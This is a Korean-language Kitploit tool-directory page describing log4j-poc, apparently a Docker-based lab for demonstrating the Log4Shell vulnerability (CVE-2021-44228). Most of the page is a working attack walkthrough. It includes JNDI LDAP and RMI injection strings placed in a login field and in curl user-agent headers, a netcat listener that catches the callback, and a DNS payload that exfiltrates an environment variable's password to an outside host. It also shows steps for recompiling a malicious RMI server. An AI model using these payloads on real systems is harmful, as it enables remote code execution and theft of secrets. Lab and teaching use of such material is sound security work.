Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j-poc — CVE-2021-44228 Log4Shell을 위한 Docker 기반 LDAP RCE 익스플로잇 데모 | Kitploit
도구/GitHubGitHub/cyberxml/log4j-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubcyberxml/log4j-poc

log4j-poc

CVE-2021-44228 Log4Shell을 위한 Docker 기반 LDAP RCE 익스플로잇 데모

저장소 보기
72333년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

log4j-poc

CVE-2021-44228 Log4Shell용 LDAP RCE 익스플로잇

설명

포트 8080의 데모 Tomcat 8 서버에는 취약한 앱(log4shell)이 배포되어 있으며, 서버는 user-agent 공격에도 취약합니다.

이 데모의 원격 익스플로잇 앱은 https://github.com/kozmer/log4j-shell-poc 에서 찾은 것을 기반으로 합니다.

이 데모 tomcat 서버(Tomcat 8.5.3, Java 1.8.0u51)는 로깅에 Log4J2를 사용하도록 재구성되었습니다(비표준 구성).

새로운 Bitnami 서버가 이제 포트 8888에서 제공됩니다. 이 서버 역시 Log4J2 로깅으로 구성되어 있으며 Tomcat 9.0.55 및 OpenJDK 11.0.13을 실행합니다.

Tomcat 9 / Java 11 서버에 대한 RMI 익스플로잇은 여기에서 설명합니다: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (2019년 1월 3일) 작성자: Michael Stepankin

탐지 스크립트는 user-agent 취약점을 확인하며, 다음에서 가져온 것입니다: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

전제 조건

이 코드는 Docker와 Docker Compose가 필요합니다.

설치

root@kitploit:~
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
#   POC_ADDR is the address of the cve-poc container
#   LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build

웹 앱 공격 데모 실행

  1. 첫 번째 터미널에서 docker 리스너를 설정하세요.
    1. nc -lv 10.10.10.31 9001
  2. 두 번째 터미널에서 docker 컨테이너를 시작하세요.
    1. docker-compose up
  3. 포트 8080의 웹 앱으로 이동하세요.
    1. http://10.10.10.31:8080/log4shell 로 이동하세요.
      1. 사용자 이름 입력: admin
      2. 비밀번호 입력: password
      3. "login" 버튼 선택
      4. 환영 화면 확인
    2. http://10.10.10.31:8080/log4shell 로그인 화면으로 돌아가세요.
      1. 사용자 이름 입력: ${jndi:ldap://172.16.238.11:1389/a}
      2. "login" 버튼 선택
      3. nc 리스너에서 연결 확인

User Agent 공격 데모 실행

  1. 첫 번째 터미널에서 docker 리스너를 설정하세요.
    1. nc -lv 10.10.10.31 9001
  2. 두 번째 터미널에서 docker 컨테이너를 시작하세요.
    1. docker-compose up
  3. 세 번째 터미널에서 다음을 실행하세요. 두 번째 IP는 docker 호스트입니다.
    1. curl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shell

최신 Java 11 버전에서 DNS Exfil 데모 실행

  1. 터미널에서 docker 컨테이너를 시작하세요.
    1. docker-compose up
  2. 두 번째 터미널에서 다음을 실행하세요. IP는 docker 호스트의 IP 주소입니다.
    1. curl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/
  3. 취약한 웹 서버는 지정된 IP에서 TXT 조회를 시도합니다. log4j-dns_exfil.pcap 파일을 확인하세요.

최신 Java 11 버전에서 RMI RCE 데모 실행

ping 대상에 대한 명령줄 인자에 문제가 있어서 직접 컴파일해야 합니다.

컴파일

  1. 터미널에서 docker 컨테이너를 시작하세요.
    1. docker-compose up
  2. 다른 터미널에서 cve-poc에 로그인하세요.
    1. docker exec -it log4j-poc_cve-poc_1 /bin/bash
  3. 실행 중인 RMIServerPOC 인스턴스를 종료하세요.
  4. rmi-poc 디렉터리로 변경하세요.
    1. cd /home/user/rmi-poc
  5. RMIServerPOC.java를 편집하여 10.10.10.31을 ping 대상으로 변경하세요.
  6. 다시 컴파일하세요.
    1. javac -cp catalina.jar:. RMIServerPOC.java
  7. 서버를 실행하세요.
    1. javac -cp catalina.jar:. RMIServerPOC 127.0.0.1

RMI RCE 데모 실행

  1. 터미널에서 docker 컨테이너를 시작하세요.
    1. docker-compose up
  2. 두 번째 터미널에서 다음을 실행하세요. IP는 docker 호스트의 IP 주소입니다.
    1. curl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/
  3. 취약한 웹 서버는 Tomcat 환경에 이미 존재하는 클래스에 대해 RMI 서버에서 직렬화된 악성 클래스를 다운로드합니다.
  4. 이렇게 하면 컴파일 섹션에서 정의된 IP 주소로 ping이 전송됩니다.

UA 취약점 탐지

  1. scripts로 이동하세요.
  2. python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2
  3. 프로세스를 종료해야 합니다. 아직 왜 이것이 중단되는지 확실하지 않습니다.
도구 다운로드